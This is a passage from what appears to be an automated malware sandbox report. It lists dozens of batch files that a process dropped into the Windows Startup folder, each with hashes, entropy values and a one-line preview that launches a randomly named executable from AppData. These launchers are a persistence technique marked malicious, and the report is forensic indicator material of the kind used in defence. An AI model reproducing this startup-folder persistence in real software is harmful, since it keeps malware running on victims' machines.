SHA-512:	D3D597D36DE0EE75AA44F4F8571E56DAD810E7E6C9839F5D5E6BB05846AB6E61FAF1E9530333BD6EC5AB04098AAE935A522DBD149D214A5971A7368E18C3C9B4
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1Ub2k1IJ2t5gUNZveaJnsLim.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.040861504346767
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5h8qyrpsLL+fIc4iFn:fE1cNwi23RKsLSgcv
MD5:	30E20A96B1211FA7D43FE8A38B2BC719
SHA1:	381D35BC26361C2D8FFE94A3F6B2D82FFA410ACC
SHA-256:	ACAF9FF38F8192FA16548217B9B3C439E5AF7C1BEC832FCCE767C9D412F381FA
SHA-512:	574AB51BA9723B39A2E5BF8933AC8391E38ED2C52C03950285C9469CDB4789F9E32C58E386BC78BAB6155A0A1187DA3A20299F1F940F05192F296CF349EA6259
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\DYOHZPW0D22LInRRNxYgymyV.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2zxQMcxXAdjZW6YdcXWRkkOC.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.030520579659598
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J589RQJ9sX0voiF:fE1cNwi238zIoWom
MD5:	8D4DC5C4BB2375E5F5A541F53A124E72
SHA1:	6E6A20CCAD28C0CEA66271A4C93EDE59CB1739D2
SHA-256:	18C6B82ABF05EF1074D7790B2DB273C845328D8D154ED664B57FA37475798997
SHA-512:	0DB2625F23EA867E3266C4238EFC98A87B1D3E0C942D6B80347611CDF5A21DBA78DA1AD38D791067763B56AC4F2274F647C463C7E0EDA5030CD40DD02F7CB478
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\YX45oTvqMEPC5GJFPgqFMHJF.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3r3iI3aD5uoVkmnpNwglczar.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.035867970420737
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5d3kaBn9cTdm:fE1cNwi231BBn+Tdm
MD5:	6D83BD1BBF985DF1D5D08E5CB1CC4203
SHA1:	2034A72986F1251995CE735F0129C0730B00ACC2
SHA-256:	770D3A1172AD39B9F302D588BA223847B2C2BC214EB12D265121B27FEF38889D
SHA-512:	79A0BE5FB9643E58CEB739A68414372B9AC4035773EA077EE0F64043015F1C7D345000450E4BAB7A3150A3A5E64519C980DFB18EE117B4E56B4F3B095002846C
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\8RYSoZQFK6V9LYpTMM1le7yQ.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4lG8OjDaPfGRBHmxDRRVnuFX.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.921285395398815
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J52AQwSoaUq0diFn:fE1cNwi232Av/dm
MD5:	BA83C280C78F34EB66FD4101BDE82AC1
SHA1:	53627888DAA06109D7DF9EDA262B15D2A502BE6C
SHA-256:	FDDCC9E732C8395807464D4DC2ACFECE45753C89F84385C79D1DE3B8B1B6ECD4
SHA-512:	863296F1D93B0BEB1AC5742BDA2A3F12D57577E0968F1E7E89BFBA5DDDDCF5C607F0F2751BF97B4F976309EB59ACBCDDEF7210A6ACA3B4BB0136D629A7876762
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\SemaoG1Uwehw633tFAn5ubO2.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\63M9nLrRjxludNRrfdaZddPt.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.96936450504713
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5RjOF7D54vn:fE1cNwi23FOF7DKv
MD5:	2F474493A17AFF4EAC6F61519BB63B15
SHA1:	300D84C716F1DD17AB5D136A50D5FA461DE88337
SHA-256:	3A18EA00128997673FF4D9059B8EECD21ED6A55D51FFD79246B805B84E5465C8
SHA-512:	3DEECF82C7645F5CDAEF88CFC714446465A10A642E2D05377B25234985E13394EBEEC3E1FF4C2996938F42FDDE745D121D099CF33AE56FD4C7ED18FB9B1A2437
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\tFMRJ2N4WXQX8R9XoXwDeTd7.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\66nsVpLcdQEIzffvQGAD01Wx.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.9603916004984505
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5mS9YFqRiWm:fE1cNwi23mS+sRi/
MD5:	6225035A2354AE72E7CF60D22E22F4AA
SHA1:	8F67F07A8CC17E50A7E453983E099948EA7B7AFF
SHA-256:	02F0EABA1E133A3BF437C966FB113734D08BA96492E912105CED6CC890811E17
SHA-512:	031D648FDEB083D2067DB1F504052D81518198448E61FD0998E946D31D6AB2E985E74095B4774DF8855B8DDBEF051FB11C700A08E6502338D4C6B0500E239C98
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\CwXesQHbkmvSYkF54FDCGs0u.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\70kdhy3RjJy5GS3eqVG34cMz.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.887172724225211
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5ddcTXbMovU0Yds:fE1cNwi23fep12s
MD5:	8C8151CE1B0E8378E77A4E492D78A3E4
SHA1:	C43E08D5269FA462DDF4DE3DA9B9443E267AB25F
SHA-256:	7DEB3C1AB72B9DE094474B513247D04144DC49391C2BC95FD9F49C5629AAE85B
SHA-512:	A9098F3A9043AFD990520183660DCE9B9E8D143D97A7E045152BA0A121DF74FD47BB56D87327F035F5D63E87DDF73B7BD333B3931D27D4ACBED807C1672C6EED
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\8x9fHtTH22TaURiMTLqQ6qDQ.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7TQPiLaiOp4J0vvxRaQJgnEq.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.799414204272242
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5RJKdKykXJl:fE1cNwi23vKQykb
MD5:	99FB0F32F7C3D8FF0B6AE09F62471B8E
SHA1:	C60D98F4998088378A2EC70B40621CDB705CD932
SHA-256:	A017E61CAC341E4FC9F7D6B30FB435DE0182F8D54CF2E788923A73E4F35EE9A6
SHA-512:	6D3244099B8AF25034904FD719D53405630094A93C585A96C24059CCEDD73B44DB7351BC53CCA74A35A32582F90DBD66A1CD2ED3AFFB299030946F7E7636482B
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\4lBshxehGejQoegWUuOtgGGK.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7n1DOJlzDKyVx2HRsxGMDCQe.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.047576915246399
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5Uw5sCjul:fE1cNwi23Uw5djul
MD5:	C94CE98809F6B312C9C135339480EDDE
SHA1:	D8EE0434A31CEE3CC8C509E344ADE19880A382C3
SHA-256:	C6B82A77BFBDA8600CFC74B23227FE4D8BDA92AD5D3713FD4D340D656F3F9284
SHA-512:	5B278B87B2F9D5B62291FAE230AA46BA577205BAE17BDEBA4760A4BE145E7997ABA9B639B0C6951662323E5EFD43F4CA7BFEBCD3B2755F7D80F6D8EFF82197DA
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\qoBVbpyFWm3cPk1EQ0W4FQFR.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8acF06oTPket8RN9OHo9AhQC.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	5.06890244436667
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5sohT3pNbAdmKWn:fE1cNwi23soh9NbSW
MD5:	D497B47C70801278EAE45DE8DDB0F506
SHA1:	C7D126BE1768DCCBFBB7F731D5D266BB90189187
SHA-256:	700D8197FD4A59DB20519109508C66401740F0DB34EED057436F0EA2D5EBC347
SHA-512:	D8CA25945A314C44A60A1A670CD9D4F57E2334281EB73A85DF5A8F7A1CBA1C3279E839D0FCE84820A8BB84AA38B874935A0193FA1CEBB823332E273E9F76DF8A
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\IMmyv1eSkv8WoF4sKRLh3j87.exe" /s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9KovXimwlIyW3P77uFXo41ye.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.897513648912382
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5K/Kqjf50AckiF:fE1cNwi23K/RfYkiF
MD5:	2515B15BD08F85809EFBD0773BBD2C01
SHA1:	618CCE4FD6D94A1F1B841A1659D71B8444D5A0FB
SHA-256:	306F1185BA1B4BAA70224E777C0FFC0D01ACC849D8BD98B09F8423CF384198D0
SHA-512:	CB18771C177ED5A14112102BBCA05182562BF6CE41A1964FAD30A31F891875F4D9FEAC2824852BD64E912D04C2DEB785E1FB11C44F10874627F5A5F0B7081248
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\oNUrhYTToLZiF7IoGm0L0Ir9.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BWeUEkKv96FAORobAHCW6ypF.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.953676189598818
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5fBjxqcdOiRn/oEFn:fE1cNwi23pdwEF
MD5:	9DD3D18768F93E1AD0B837DECCB258A9
SHA1:	7972A2CC0812DCB8ADE60C161E34288F47D092CA
SHA-256:	90720E0C1F5BF78982A20ED10A9A0BD9BB5E38809A341A2D4F4B6BC8FDBFEF7F
SHA-512:	CDEEE8636BC16D2DC481EDA2C487FE3502A8327A0B9B3DF86617D2BF246A6E0F2993C94F0AD528B82D6BAC0CAE5A06283588336DCD19B1314A3C805D11AA87C1
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\zl9WjeKTxMy8k8EbTBZdpElC.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BsDz5LTErOmd8yNfyBTmMVUZ.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.078599689307913
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5K2AInWoBNln:fE1cNwi23K2AIB
MD5:	F92B3917BDA2D8F6376B7AEAE6A69927
SHA1:	70BEBEAD56A75BC1622E35CB9FD7742BDCF062D5
SHA-256:	88F9BCE6B15F0CEE2B19E8DD18D55BE3CC0FBA1293CBE7EB58DBE71208869C19
SHA-512:	5A391F4180FDA064C39AD99CBC853AFB51BA9A2869BD1F55CEEF94CBCE4939F2308FEDE4430CD9A71586E90A15AA4F5E6829E6E402ABC95D543F8F803A84F2F4
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\o3bvuCFHWJf8oEmP3T0jhkMM.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CpI1BxUwX4GXv0UQgqj98YFq.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.844087148502927
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5MoOrd3GCLW7lF:fE1cNwi23Moi3GCLWr
MD5:	33C5EF4AC0B3637D8FD44EBA11A897D2
SHA1:	842FD3C716BE3334DF67AD8745FF40EB644EB84E
SHA-256:	B1181483CD8B08CE53D29E59A33AFBAB16C65A2F06D013DEDE629D6B98C082B7
SHA-512:	FD3CF4A748E64D27A87378DD71FBD07AA9434D645140EB52135B3593B2555EACDC04B698C316D8EF364CBD98E014A8DC00B00A0D285FBEE61AF9DEDA59742551
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\iMXraNxDRLg4aVOpMn3cNrIf.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Fp4XGOFNreU9QQvFxWGD280g.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.919563518425214
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5AzBmjMpAyL4mn:fE1cNwi23AFmjmv
MD5:	857DE7C3ED1E153D31DDF94257D88039
SHA1:	4A82B284B4B5C689E54C83960172562E4912C19A
SHA-256:	942378BACAD41C828860D985DF0147F750DF2101DFBB006851F506FAAF5EA919
SHA-512:	F9D595E5C9F3975B8DFE1558DE316017ADAD567E232E2A9C07BD7B4EFBE56543D3FB5F779A949A3857B43557240427D55E7D4FD4F2042F8EBE6BDE5387A68F9E
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\eVDrCR1hP70QTfLbRAKhpUOl.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GCxOPoVfvPyhMjrPUVz65iw0.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.804980943403292
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5VOhIhJPXXSJHF:fE1cNwi23WI/PHSJHF
MD5:	A8C1703A68A6D9D3000A40E517371A59
SHA1:	E580C7A4E8EE3822FE54719B0AC1882CD35E6D08
SHA-256:	D42429C2C6E12845A42797A3775F7810B35DF5BADEDB8BE0B54DA28A8E7C454C
SHA-512:	C283271174FF4E31996ACC4ADF522745BC5770E0A28FE56D8B760357D2EA8A912F631763EB1BFD502DD7C8D73CEDB7740D4D2CC69EC806351FAA24DC9CD11FFF
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\pkc9Yy7eyXDNxjrdaLkXC1Nw.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Gov6rjgDZRJhjjWExECEmd4R.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.966109031772714
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5WSloRH4CQWn:fE1cNwi23WSSF4CQW
MD5:	6CC684E3E9D70B35DE1AEB55A8D221AB
SHA1:	27465F1F0142B4F79D68D0B79D846691506332C0
SHA-256:	9B80596C81A2B7B076EA2548561BC179BC35EC3301C2660503C9FE0E61D79B71
SHA-512:	A13AFD7D5EEA10608CB7C23389046CF86B8B667CF9606A7A78194FE07B32644E575152D3BD52EA897D72F6021DB1A7A3B3188464B85EC07D526283E829976245
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\3wIIRe1QiHmGmyDfkt1MdfjR.exe" /s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HtVik0gCCXpMbW1ewQEIafJO.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.030520579659598
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5x/zEwscq4GFoiVF:fE1cNwi235zEw1rAF
MD5:	C1712DD3263EF0EB3688A5F672DD3BAA
SHA1:	3064E7C0780550B3529561FAF43B5A04C2B348B2
SHA-256:	365D900C45B0C5FD8357CC0D3FE8BE40C7E463A5CDC92580268331D70A56E078
SHA-512:	D7836F52991F34AD4466330797FA5A44B37146F3629D3D43677FF4BFF664B3E9B76B1E79E4CC1ADF0965D20352853B38C61910C5EE5D5C52DDFAF21808B1D8B3
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\TZazqzIjmIm4XQvcJYbdkOMa.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JA9IiDRirqHyvko4OfQivGZ7.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.913201964360692
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5cp9zRZ/pb:fE1cNwi23cp11
MD5:	FDD3FBEED5984E26986792AB0E3EDBF5
SHA1:	252D7107DA6DC1B87C84832FDB405232FE72B1E7
SHA-256:	3DC0F82187F9844B42F8E93850786A2F18635B3831F559463A54627EA11E61A2
SHA-512:	57D29F4D3CCC71EA14AF3B17175F34B99E1C38C81BE7F6CAD8DD7BD5177C20010B229684B7787A197F11FC75C83FBAA28F613A70EF78DB8C2F341B1D764B3AF2
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\yn8qA7eUPrrxMa2hPKWNWLT4.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LD4hNojEUEziyKrYgWhQk5rm.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.974358038973159
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J585Y8NfmP6N:fE1cNwi2385Y8N46N
MD5:	2F1631C9EA9A2DCC65F718053131B362
SHA1:	2380E34A5DF46EE3959A4DB3ED105FDF7571FD3E
SHA-256:	E3A353A7CFA994AD82487AE497DAA71342732D10F4BDCA5BB367BEB81B25C41E
SHA-512:	E57AE1086F65BAC3FBCBDB124F4576A216F3DC8F825C99E65D0AAB4CA0E0E3B941CC1828565551AC1DF57A586113E8347695F07391249BA02697CA5FCE922DF6
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\Y01cK2OJgtSKgzCj2OAQkixL.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LPtepEDzI9Rnp2fhv2mNTraW.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.975726059111652
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5iswdNus3:fE1cNwi23iswdEs3
MD5:	7A8968ED61924BB38AAE077B5D59007B
SHA1:	39031458236D92C96133ADBADEE6E8BC26DDD8CB
SHA-256:	06FF456A82489446EE2D0ADA1695E690E115FB8238243F8916E07BCF90FBF635
SHA-512:	8F2AC1AB95A960871DE14D161E740EB6BAB501FF209CD4215744C482C959F5A4CBD0249F68FA4E391E9D065A00D5955EA8056676BF8069F4CF162B767DA1A3FE
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\GEiB3Ddcoc4kuTiV3LIO2ABQ.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\N7uBTIqAI4TFaoTgWHqBwwXI.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.936973710847125
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5KCSAmJ50:fE1cNwi23KmmJS
MD5:	0D0614BA9F50E6DF1DD61EC5FC47CC16
SHA1:	D4A693912ED251D99DD4ADE8E4785FCBE8F341E7
SHA-256:	B2A177456C2E202CAE70628E84423E2F79BC1BCB0A23EF68CF708C0058A0A898
SHA-512:	F719143CAB6E88AE5068C231B3C2BEF3BADBD82FFBB7FCFABCB8B634567116363C490843587725E1BAFA29645B6F7E846C4AE06F550D571AAC01BCBFA15BCD20
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\oURwiane2EFilQ46IVStlZR3.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NF17SuJC2X4gjmjhKys98Qxu.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.012096223934304
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5275cfbRKX0nAdAl:fE1cNwi2327wRMhm
MD5:	437F6542CF3B1B0641FD1A41E4656EBF
SHA1:	4584373AD2C92A607AC13BA1E1AA9EDBB6E4E33E
SHA-256:	66F0EE2277BD8746B9BD59FE06C803C437E26FD47048728B574762C13258C49A
SHA-512:	C06C5179E64057F0AC84637F4D1DB92A51BE33C35D28916AAF63AC80F0E24B812962EA1172BAD9EB351D7166CA7BFA0D17811B38ACA3B3B3239760959E675591
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\S0yywC6t6qDFXXOiN4mRrQOm.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OiFswMERSIM5QYpzdzXs8HqN.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.887172724225211
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5DoXERHLLL8sACl:fE1cNwi23dRHLLt
MD5:	CDEF18C395DC42ABE7B84D668962E3C8
SHA1:	E4DBC974EC4D5836FA2C37816769B1B90A92E5F3
SHA-256:	2673222EE932014529E77D30B1D6463DFC4D5FE659393F8124C147C7019AEE7E
SHA-512:	DB66AA92BB5B8751BDCB8C2AB41288E2494D7D58345958C81F9E441E7C230E175CA4F7830CA5826802ACAABB8CA858AF6EF602E5643C70C8B60C491F1D2470F0
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\fqTri05otLw3AgCCHnmdVecS.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\P8Y5HAG12fYTb8t4PcK7rKlv.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.854428073190098
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5vZvL6t+PD8n:fE1cNwi23xU68
MD5:	4AD51C9BA041E86D955290740D39710A
SHA1:	F8672C932EF7CDA9A90415B9E0228F69D92F86C2
SHA-256:	900664C025B2052FDA4835D791F9B6607D03A172C06CED5F09A575C8C401F8D3
SHA-512:	EF29A09D7DEBC419BED11D1587042C0D8287D6C71849BC343B2746B73BACB45B0D5E2DB3B16493C8AD429C9958C030D226B6DC04C6E21B7E203462EBF7D3BB98
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\JjDJbN3mgLfy7jfCjajQylmg.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PFtTOLsGyXAF8UN7SK2yoXrT.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.941967244773158
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5y9JRnzWoLAdAln:fE1cNwi23y9JRzWWAdAl
MD5:	F49CF90E4950D2DF8BA46B2B30E89773
SHA1:	27DBC0ACAF6E09178A0E1C5886F36671B8D41641
SHA-256:	4F6093E21CD2A5EFA811205BD07551B507AE1F6A8C73BBD58FA7DB42D4CB33EE
SHA-512:	C3445592D7F0EAD19709C063FEF5E32D6AD02A6703CB3535205496DDB336414666F349AB4503C98FB33945F95E7CB3FDAE21C6ACCAB0ED3A53F9E84364B9B6D3
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\WAQu9tLKGblXXebB2miyLMLA.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QiP2pWLr6NBQvOLbwQTTyn6C.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.930258299947495
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5E7yg1kRA6cAln:fE1cNwi23E7yg1x6cm
MD5:	9C64EDCA35770809E2DB32E47841CAB2
SHA1:	6D7DA26150D5E0967C80653ADE4720E248AB2598
SHA-256:	370E8ADD21452D89AAD1E77E560675E47BAD1052073BD1DF79ED08971B206616
SHA-512:	B2100EB58E801F29C4C10C70C5F21D5CA7186D26E51C53B49EDF06F85293392FCF782A4A2754B44D5C2A70C2C5252DE5997952487292313900A3E2F1F55907B0
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\aqGWEPmkK0B9sJyfEBtpOpuJ.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TH2edQjI5N96cctLqxcxRWB4.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.018811634833935
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5zBS1CM3tWM0Cl:fE1cNwi23NgRMML
MD5:	57887A5367356C4343874457E354F69B
SHA1:	CE76B238C798F1C48CDAB42AA297660CFBF21E67
SHA-256:	2C7E76367C0FB539AAE6550E6F8395BCBA993E8520A52A334F1A34895EC86C2B
SHA-512:	5D4A2673B3EA7EC8597B62CE2FC15B1AA17205A89DE1CC63DC07E82E71AC28000672CE55F945BAF6A198B20376E5EE7A6382667F6597BF713A913E451DFD9DD0
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\VwW7Zrgqb8W4pCzz9zGBtVYi.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WfwAozSpYoRh0VfEDamYiBsR.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.965385134424482
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5vQ3zrxnpIFsn:fE1cNwi236zN+s
MD5:	294B1674E7D8C2F2F32981B34A214851
SHA1:	5B8BBA37F2040CAE6C76A9899114624A0641EFCB
SHA-256:	5D63ABA1ABFE74E2316B5AF715E5E6E1E2E4E3F3CF38CDF087FE30C986A04AD8
SHA-512:	1D77F7BB2FB1D5C82B395DBCB924FDF793C29240592D1A156413B145662863950DA840975760787D73B7B5D6CDBDC2C09A0B3EAD8A90E2C90AB345E1C2591239
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\JRER40VeoC2Q4ducOjAkB8be.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wgc7DyRQRZGZ91fWhoYDAYbz.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.051202429033939
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5zLUCZbe9aCHF:fE1cNwi233U8be9Hl
MD5:	FD2DE773E92ADD0C69593ABA00CE6A32
SHA1:	E40D260782E45DD013277956BB43796F52F2E19B
SHA-256:	71B8337A6DF45C208C74241931DFA3632E34BB64D9AE9595C31F4911336E521C
